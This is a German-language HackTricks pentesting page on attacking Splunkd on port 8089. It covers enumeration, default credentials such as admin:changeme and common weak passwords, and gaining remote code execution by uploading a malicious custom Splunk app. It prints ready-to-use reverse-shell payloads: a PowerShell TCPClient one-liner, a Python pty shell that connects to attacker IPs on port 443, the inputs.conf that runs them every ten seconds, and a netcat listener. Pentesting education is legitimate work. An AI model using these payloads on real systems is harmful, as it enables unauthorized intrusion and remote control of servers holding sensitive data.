mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
139 lines
9.3 KiB
Markdown
139 lines
9.3 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## **Grundlegende Informationen**
|
|
|
|
Splunk ist ein **Protokollanalysetool**, das eine entscheidende Rolle beim **Sammeln, Analysieren und Visualisieren von Daten** spielt. Obwohl sein ursprünglicher Zweck nicht darin bestand, als **SIEM (Security Information and Event Management)**-Tool zu dienen, hat es in den Bereichen **Sicherheitsüberwachung** und **Geschäftsanalyse** an Popularität gewonnen.
|
|
|
|
Splunk-Implementierungen werden häufig zur Speicherung von **sensiblen Daten** verwendet und können für potenzielle Angreifer eine **wertvolle Informationsquelle** darstellen, wenn es ihnen gelingt, das System zu kompromittieren.
|
|
**Standardport:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Der Splunk-Webserver läuft standardmäßig auf Port 8000.
|
|
{% endhint %}
|
|
|
|
## Enumeration
|
|
|
|
### Kostenlose Version
|
|
|
|
Die Splunk Enterprise-Testversion wird nach 60 Tagen in eine kostenlose Version umgewandelt, die keine Authentifizierung erfordert. Es ist nicht ungewöhnlich, dass Systemadministratoren eine Testversion von Splunk installieren, die anschließend vergessen wird. Diese wird automatisch in die kostenlose Version umgewandelt, die keine Form der Authentifizierung hat und somit ein Sicherheitsloch in der Umgebung darstellt. Einige Organisationen entscheiden sich möglicherweise aufgrund von Budgetbeschränkungen für die kostenlose Version, ohne die Auswirkungen einer fehlenden Benutzer-/Rollenverwaltung vollständig zu verstehen.
|
|
|
|
### Standardanmeldeinformationen
|
|
|
|
In älteren Versionen von Splunk sind die Standardanmeldeinformationen `admin:changeme`, die bequemerweise auf der Anmeldeseite angezeigt werden.\
|
|
Die neueste Version von Splunk legt jedoch während des Installationsprozesses Anmeldeinformationen fest. Wenn die Standardanmeldeinformationen nicht funktionieren, lohnt es sich, nach gängigen schwachen Passwörtern wie `admin`, `Welcome`, `Welcome1`, `Password123` usw. zu suchen.
|
|
|
|
### Informationen abrufen
|
|
|
|
Nach dem Anmelden bei Splunk können wir Daten durchsuchen, Berichte ausführen, Dashboards erstellen, Anwendungen aus der Splunkbase-Bibliothek installieren und benutzerdefinierte Anwendungen installieren.\
|
|
Sie können auch Code ausführen: Splunk bietet mehrere Möglichkeiten zum Ausführen von Code, wie serverseitige Django-Anwendungen, REST-Endpunkte, skriptgesteuerte Eingaben und Alarmierungsskripte. Eine gängige Methode, um eine Remote-Codeausführung auf einem Splunk-Server zu erlangen, besteht darin, eine skriptgesteuerte Eingabe zu verwenden.
|
|
|
|
Darüber hinaus kann Splunk auf Windows- oder Linux-Hosts installiert werden, sodass skriptgesteuerte Eingaben erstellt werden können, um Bash-, PowerShell- oder Batch-Skripts auszuführen.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk-Build`
|
|
|
|
## RCE
|
|
|
|
### Benutzerdefinierte Anwendung erstellen
|
|
|
|
Eine benutzerdefinierte Anwendung kann Python-, Batch-, Bash- oder PowerShell-Skripte ausführen.\
|
|
Beachten Sie, dass Splunk mit Python installiert wird, sodass Sie selbst auf Windows-Systemen Python-Code ausführen können.
|
|
|
|
Sie können [**dieses**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk-Paket verwenden, um uns zu unterstützen. Das Verzeichnis **`bin`** in diesem Repository enthält Beispiele für [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Gehen wir dies Schritt für Schritt durch.
|
|
|
|
Um dies zu erreichen, müssen wir zunächst eine benutzerdefinierte Splunk-Anwendung erstellen, indem wir die folgende Verzeichnisstruktur verwenden:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Das **`bin`** Verzeichnis enthält alle **Skripte, die wir ausführen möchten** (in diesem Fall eine **PowerShell** Reverse Shell), und das Standardverzeichnis enthält unsere `inputs.conf` Datei. Unsere Reverse Shell wird ein **PowerShell Einzeiler** sein:
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Die [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)-Datei gibt Splunk an, **welches Skript ausgeführt werden soll** und alle anderen Bedingungen. Hier setzen wir die App als aktiviert und geben Splunk an, das Skript alle 10 Sekunden auszuführen. Das Intervall wird immer in Sekunden angegeben und die Eingabe (Skript) wird nur ausgeführt, wenn diese Einstellung vorhanden ist.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Wir benötigen die `.bat`-Datei, die ausgeführt wird, wenn die Anwendung bereitgestellt wird, und den PowerShell-Befehl ausführt.
|
|
|
|
Der nächste Schritt besteht darin, `Install app from file` auszuwählen und die Anwendung hochzuladen.
|
|
|
|
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Bevor wir die bösartige benutzerdefinierte Anwendung hochladen, starten wir einen Listener mit Netcat oder [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Auf der Seite `App hochladen` klicken Sie auf `Durchsuchen`, wählen Sie das zuvor erstellte Tarball aus und klicken Sie auf `Hochladen`. Sobald wir die Anwendung hochgeladen haben, wird ein Reverse-Shell-Empfang bestätigt und der Status der Anwendung automatisch auf `Aktiviert` umgeschaltet.
|
|
|
|
#### Linux
|
|
|
|
Wenn wir es mit einem Linux-Host zu tun hätten, müssten wir das Python-Skript `rev.py` vor dem Erstellen des Tarballs und dem Hochladen der benutzerdefinierten bösartigen App bearbeiten. Der Rest des Prozesses wäre gleich und wir würden eine Reverse-Shell-Verbindung auf unserem Netcat-Listener erhalten und loslegen.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilege Escalation
|
|
|
|
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referenzen
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|